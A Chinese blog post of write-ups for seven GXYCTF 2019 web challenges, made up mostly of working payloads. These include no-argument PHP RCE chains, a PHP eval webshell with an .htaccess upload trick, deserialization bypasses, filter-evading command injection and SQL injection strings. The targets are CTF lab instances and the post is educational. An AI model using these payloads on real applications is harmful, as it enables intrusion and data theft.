2019-GXYCTFweb部分题解


简单记录一下

1.web1
首先是一个git泄露,当时看是403就没注意了,没想到就是这样做的,上工具下载源码是无参数rce,直接给payload

exp=var_dump(readfile(next(array_reverse(scandir(chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion())))))))))))));
exp=highlight_file(array_rand(array_flip(scandir(current(localeconv())))));
exp=show_source(next(array_reverse(scandir(pos(localeconv())))));
GET /?exp=readfile(session_id(session_start())); HTTP/1.1
Host: 9bfa7a86-5375-4b7d-9350-202124291351.node3.buuoj.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie:PHPSESSID=flag.php
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache

2.web2
是一个上传,但是上传就被删了,所以试了一下条件竞争是可以的,那思路就有了,同时上传一个a.jpg和.htaccess
a.jpg内容<script language=”php”>@eval($_POST[‘a’]);</script>
.htaccess内容AddType application/x-httpd-php .jpg
然后访问1.jpg,POST传参a=var_dump(readfile(/flag));即可读到flag

3.web3
是一个简单的反序列化,绕过__wakeup方法,当成员属性数目大于实际数目时可绕过wakeup方法但是有版本要求,这个题是可以的,payload如下,还有些过滤内容,控制读的位置,读的最大字符,应该就可以

exp=O:10:"FileReader":4:{s:8:"Filename";s:8:"flag.php";s:5:"start";i:0;s:10:"max_length";i:3;}
exp=O:10:"FileReader":4:{s:8:"Filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:5:"start";i:0;s:10:"max_length";i:100;}

4.web4

是一个rce,过滤了很多字符,fuzz一下,构造payload如下,用linux已有字符配合一下base64就可以,收集一下payload。

127.0.0.1|cat$IFS$9`echo$IFS$9ZmxhZy5waHAK|base64$IFS$9-d`
127.0.0.1|echo$IFS$9`a=ag;b=fl;cat$IFS$9$b$a.php`
127.0.0.1;cat$IFS`ls`;
linux下一些已有字符
${PS2} 对应字符 ‘>’
${PS4} 对应字符 ‘+’
${IFS} 对应 内部字段分隔符
${9} 对应 空字符串

5.web5
源码得到注入语句,name可控,题目说了万能密码而且是md5,所以不是注入数据

select * from user where username = '$name'    //sql查询语句

name:0' union select 1,'admin','c4ca4238a0b923820dcc509a6f75849b'#
pw:1    //payload

6.web6
sql宽字节注入,关键字过滤,双写绕过

http://183.129.189.60:10008/search.php?name=%df' and updatexml(1,concat(1,substr((selselectect group_concat(column_name) from information_schema.columns whwhereere table_name=char(102,49,52,103)),1,32)),1)-- -&pw=1    //查列名
http://183.129.189.60:10008/search.php?name=%df' and updatexml(1,concat(1,substr((selselectect concat(327a6c4304ad5938eaf0efb6cc3e53dc) from f14g limit 22,1),1,32)),1)-- -&pw=1    //查数据
http://183.129.189.60:10008/search.php?name=%df' and updatexml(1,concat(1,substr((selselectect concat(327a6c4304ad5938eaf0efb6cc3e53dc) from f14g limit 22,1),32,32)),1)-- -&pw=1    //查数据

7.web7
phar://配合反序列化rce


Author: LiM
Reprint policy: All articles in this blog are used except for special statements CC BY 4.0 reprint polocy. If reproduced, please indicate source LiM !
 Previous
BJDCTF2020部分wp BJDCTF2020部分wp
前言:最近真的太颓废了,天天啥也不想干,这个比赛之前有人问过我一些题目,挺简单的,这里简单记录一下。 web1.Easy MD5查看响应包,看到这条查询语句,可存在注入。输入ffifdyop即可登录,ffifdyop对应md5转字符串会有’
2020-02-08 LiM
Next 
2019SWPUCTF web题解 2019SWPUCTF web题解
web1二次注入,在文章发表广告名存在注入,过滤了or,空格,不能用order by查字段,可以用group by查字段,也不能用information_schema这个库查询,所以通过其他方式查询表,无列名注入,附一个链接 聊一聊bypa
2019-12-16 LiM
  TOC